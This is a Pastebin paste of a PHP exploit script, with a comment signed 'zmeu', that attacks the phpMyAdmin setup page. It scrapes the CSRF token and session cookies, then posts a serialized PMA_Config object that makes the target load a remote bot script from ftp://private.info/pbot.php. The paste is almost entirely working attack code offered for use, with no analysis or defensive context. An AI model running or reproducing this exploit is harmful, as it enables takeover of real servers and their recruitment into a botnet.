Advertisement
Guest User

Untitled

a guest
Nov 25th, 2018
383
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.25 KB | None | 0 0
  1. <?php
  2.  
  3. /* wtf zmeu was here haha,yeah me... found this shit bug on pmasux */
  4. $arguments = getopt("a:b:c");
  5.  
  6. $pma_setup_url = $arguments[a];
  7. //echo $arguments[a];
  8. $ftp_code = 'ftp://private.info/pbot.php';
  9.  
  10. //$method = POST|GET, $url = http://site.com/path, $data = foo1=bar1&foo2=bar2, referer, cookie, useragent
  11. function send_data($method, $url, $data = '', $referer_string = '', $cookie_string = '', $ua_string = '')
  12.         {
  13.         $return = '';
  14.         $feof_count = 0;
  15.         $parsed_url = parse_url($url);
  16.         $site = $parsed_url['host'];
  17.         $path = $parsed_url['path'];
  18.         $query = $parsed_url['query'];
  19.  
  20.         ($method == 'GET' && !empty($data)) ? $path .= '?'.$data : '';
  21.         ($method == 'POST' && !empty($query)) ? $path .= '?'.$query : '';
  22.  
  23.         $fp = fsockopen($site, 80, $errno, $errstr, 30);
  24.         ($method == 'POST') ? $out = "POST $path HTTP/1.1\r\n" : $out = "GET $path HTTP/1.1\r\n";
  25.         $out .= "Host: $site\r\n";
  26.         $out .= "Content-type: application/x-www-form-urlencoded\r\n";
  27.         $out .= "Connection: Close\r\n";
  28.         $out .= "User-Agent: $ua_string\r\n";
  29.         $out .= "Referer: $referer_string\r\n";
  30.         $out .= "Cookie: $cookie_string\r\n";
  31.         ($method == 'POST') ? $out .= "Content-Length: ".strlen($data)."\r\n\r\n" : $out .= "\r\n";
  32.         ($method == 'POST') ? fwrite($fp, $out.$data) : fwrite($fp, $out);
  33.  
  34.         while (!feof($fp))
  35.                 {
  36.                 if($feof_count >=200)
  37.                         break;
  38.  
  39.                 $return .= fread($fp, 4800);
  40.                 ++$feof_count;
  41.                 }
  42.  
  43.         fclose($fp);
  44.         return $return;
  45.         }
  46.  
  47. $token_page = send_data('GET',$pma_setup_url,'',$pma_setup_url,'','Opera');
  48.  
  49. preg_match('@name="token" value="([a-f0-9]{32})"@is',$token_page,$token_array);
  50.  
  51. $token = $token_array[1];
  52.  
  53. preg_match_all('@Set-Cookie: ([^\r\n;]+)@is',$token_page,$cookie_array);
  54.  
  55. $cookie_array = $cookie_array[1];
  56. $cookie_array = implode("; ",$cookie_array);
  57.  
  58. print
  59. send_data('POST',$pma_setup_url,'action=lay_navigation&eoltype=unix&token='.$token.'&configuration='.urlencode('a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:'.strlen($ftp_code).':"'.$ftp_code.'";}}'),$pma_setup_url,$cookie_array,'Opera');
  60. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement